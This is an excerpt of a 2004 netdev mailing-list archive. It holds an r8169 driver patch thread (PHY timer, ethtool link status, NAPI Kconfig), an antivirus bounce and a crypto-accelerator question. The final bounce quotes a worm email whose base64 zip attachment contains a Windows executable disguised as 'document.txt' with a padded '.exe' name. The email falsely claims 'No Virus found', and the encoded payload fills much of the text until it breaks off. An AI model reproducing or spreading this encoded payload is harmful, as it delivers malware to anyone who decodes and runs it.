bits=0) by smtp-roam.Stanford.EDU (8.12.11/8.12.11) with ESMTP id i42MYvi0009028 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 2 May 2004 15:34:57 -0700 Message-ID: <4095776D.3050006@myrealbox.com> Date: Sun, 02 May 2004 15:34:21 -0700 From: Andy Lutomirski User-Agent: Mozilla Thunderbird 0.6b (Windows/20040426) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Francois Romieu CC: jgarzik@pobox.com, Andy Lutomirski , Jon D Mason , netdev@oss.sgi.com Subject: Re: [patch 0/7] 2.6.6-rc3-mm1 - description of the r8169 queue [resend] References: <20040501022308.A32762@electric-eye.fr.zoreil.com> In-Reply-To: <20040501022308.A32762@electric-eye.fr.zoreil.com> Content-Type: multipart/mixed; boundary="------------010007000303060502050603" X-archive-position: 5012 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: luto@myrealbox.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------010007000303060502050603 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit [resend -- I'm not sure the first one went out] Three problems: 1. ethtool forgets to report link status 2. On my system, this driver can't bring up the link. That's because the PHY reset timer of 1 second is WAAAY too short -- the PHY gets stuck in a reset loop. (In the old driver it was 12 seconds because there was a multiplier in the timer.) 3. NAPI is missing from Kconfig These patches also chance the initial chipset reset timer from 2 jiffies to 100ms (for HZ-independence, and 2ms sounds overly short.) --Andy Francois Romieu wrote: > With some delay, the following patches include Jon D Mason's NAPI changes > (+ fixes) and code from Andy Lutomirski with minor changes. > I have not moved the initialization of the phy timer in the pci probe > routine as: > - I believe it belongs to the netdevice; > - it should work as is without significant change for the user. > > If someone sees a good reason to move it, just complain (with an axe). > > The patches apply to 2.6.6-rc3 as well as to 2.6.6-rc3-mm1. > > All the patches are merged in a single patch against 2.6.6-rc3 available at: > http://www.fr.zoreil.com/people/francois/misc/20040501-2.6.6-rc3-r8169.c-test.patch > > The patches are archived below as well: > http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.6-rc3 > > If the patches prove to behave decently on 2.6, a backport for 2.4.x will be > generated. > > -- > Ueimor --------------010007000303060502050603 Content-Type: text/plain; name="r8169_new_fixes" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="r8169_new_fixes" --- linux-2.6.6-rc2/drivers/net/r8169.c~fr 2004-04-30 23:27:48.683174600 -0700 +++ linux-2.6.6-rc2/drivers/net/r8169.c 2004-05-02 12:31:00.720041072 -0700 @@ -111,7 +111,7 @@ #define RTL_MIN_IO_SIZE 0x80 #define RTL8169_TX_TIMEOUT (6*HZ) -#define RTL8169_PHY_TIMEOUT (HZ) +#define RTL8169_PHY_TIMEOUT (10*HZ) /* write/read MMIO register */ #define RTL_W8(reg, val8) writeb ((val8), ioaddr + (reg)) @@ -593,6 +593,7 @@ static struct ethtool_ops rtl8169_ethtool_ops = { .get_drvinfo = rtl8169_get_drvinfo, + .get_link = ethtool_op_get_link, .get_settings = rtl8169_get_settings, .set_settings = rtl8169_set_settings, }; @@ -782,7 +783,7 @@ * A busy loop could burn quite a few cycles on nowadays CPU. * Let's delay the execution of the timer for a few ticks. */ - timeout = 2; + timeout = HZ/10; goto out_mod_timer; } --------------010007000303060502050603 Content-Type: text/plain; name="r8169_kconfig" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="r8169_kconfig" --- linux-2.6.6-rc2/drivers/net/Kconfig~r8169_napi 2004-05-02 12:34:44.810974072 -0700 +++ linux-2.6.6-rc2/drivers/net/Kconfig 2004-05-02 12:35:46.553587768 -0700 @@ -1958,6 +1958,10 @@ To compile this driver as a module, choose M here: the module will be called r8169. This is recommended. +config R8169_NAPI + bool "Realtek 8169 NAPI (EXPERIMENTAL)" + depends on R8169 && EXPERIMENTAL + config SK98LIN tristate "Marvell Yukon Chipset / SysKonnect SK-98xx Support" depends on PCI --------------010007000303060502050603-- From 59419646@laufwerk.de Tue May 4 01:22:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 04 May 2004 01:22:51 -0700 (PDT) Received: from d103.x-mailer.de (d103.x-mailer.de [212.162.13.230]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i448MjKO007890 for ; Tue, 4 May 2004 01:22:46 -0700 Received: from [127.0.0.1] (helo=localhost.localdomain) by d103.x-mailer.de with esmtp (Exim 4.24) id 1BKvCN-000431-TO for netdev@oss.sgi.com; Tue, 04 May 2004 10:22:43 +0200 MIME-Version: 1.0 Message-Id: <80151.2236780585@d103.x-mailer.de> Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 8bit To: netdev@oss.sgi.com Subject: Ihre Mail an 59419646@laufwerk.de enthielt einen Virus From: 59419646@laufwerk.de Date: Tue, 04 May 2004 10:22:43 +0200 X-archive-position: 5013 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: 59419646@laufwerk.de Precedence: bulk X-list: netdev Die von Ihnen an 59419646@laufwerk.de versandte Mail mit dem Betreff " Password" enthielt einen Virus: ( Worm.SomeFool.AB) Die Mail wurde auf dem Mail-Server gelöscht und NICHT ausgeliefert! Bitte prüfen Sie Ihr System mit einem geeigeneten AntiVirus Scanner. Your mail to 59419646@laufwerk.de with subject " Password" contained malicious content: ( Worm.SomeFool.AB) Your mail was deleted and has not been delivered to the recipient. Please check your system with an anti-virus scanner! From yoshfuji@linux-ipv6.org Tue May 4 06:48:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 04 May 2004 06:49:04 -0700 (PDT) Received: from yue.hongo.wide.ad.jp ([203.178.140.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i44DmvKO003684 for ; Tue, 4 May 2004 06:48:58 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id CBAB333CE7 for ; Tue, 4 May 2004 22:49:06 +0900 (JST) Resent-Date: Tue, 04 May 2004 22:49:06 +0900 (JST) Resent-Message-Id: <20040504.224906.123086020.yoshfuji@linux-ipv6.org> Resent-To: netdev@oss.sgi.com Resent-From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Subject: Linux 2.6 crypto API and HW accelerators To: linux-crypto@nl.linux.org Cc: linux-kernel@vger.kernel.org X-Mailer: Lotus Notes Release 5.0.10 March 22, 2002 Message-ID: From: remy.gauguey@mindspeed.com Date: Tue, 4 May 2004 15:39:35 +0200 MIME-Version: 1.0 X-MIMETrack: Serialize by Router on SOPHIAM1/Server/Mindspeed(Release 5.0.12 |February 13, 2003) at 05/04/2004 03:39:48 PM, Itemize by SMTP Server on NPBLNH1/Server/Conexant(Release 5.0.12 |February 13, 2003) at 05/04/2004 06:39:48 AM, Serialize by Router on NPBLNH1/Server/Conexant(Release 5.0.12 |February 13, 2003) at 05/04/2004 06:40:01 AM, Serialize complete at 05/04/2004 06:40:01 AM Content-type: text/plain; charset=us-ascii Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org X-archive-position: 5014 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Hi, I'm currently working on a ARM920T based network processor with arm-linux kernel 2.6.5. This device has a crypto hardware accelerator dedicated to IPsec. In ESP mode the device can do authentication (SHA-1, MD5) as well as encryption (AES, TDES in CBC or ECB mode) in one pass. Unfortunately current Linux 2.6 crypto API doesn't support this kind of hardware accelerator. Current crypto module relies on crypto algorithms which are called for a single operation and for each block. Then, I would like to know if other people are working on the hardware crypto support in kernel 2.6.x. If so, what would be the plan ? crypto api improvement or new IPsec specific hardware support ? Thanks for any feedback or info. Remy Gauguey - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From mailadmin@subexgroup.com Tue May 4 06:54:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 04 May 2004 06:54:29 -0700 (PDT) Received: from mx2.magma.ca (mx2.magma.ca [206.191.0.250]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i44DsNKO004057 for ; Tue, 4 May 2004 06:54:23 -0700 Received: from in3.magma.ca (in3.magma.ca [206.191.0.249]) by mx2.magma.ca (Magma Relay Server) with ESMTP id i447jQWf025404 for ; Tue, 4 May 2004 03:45:26 -0400 Received: from in3.magma.ca (in3.magma.ca [206.191.0.249] (may be forged)) by in3.magma.ca (Magma's Mail Server) with ESMTP id i447jQZ2006032 for ; Tue, 4 May 2004 03:45:27 -0400 Received: (from mailgate@localhost) by in3.magma.ca (Magma's Mail Server) id i447jQBY006030; Tue, 4 May 2004 03:45:26 -0400 Date: Tue, 4 May 2004 03:45:26 -0400 Message-Id: <200405040745.i447jQBY006030@in3.magma.ca> X-Authentication-Warning: in3.magma.ca: mailgate set sender to mailadmin@subexgroup.com using -f To: netdev@oss.sgi.com From: mailadmin@subexgroup.com Subject: Re: Important m$6h?3p X-archive-position: 5015 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mailadmin@subexgroup.com Precedence: bulk X-list: netdev Hi, No such user found.Please check the Mail ID. Regards Sys Admin Team ---------------- Your original message is below ---------------- This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit See the ghg5%&6gfz65!4Hf55d!46gfgf ++++ Attachment: No Virus found ++++ Norman AntiVirus - www.norman.com ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="important_carrerstoi.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="important_carrerstoi.zip" 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 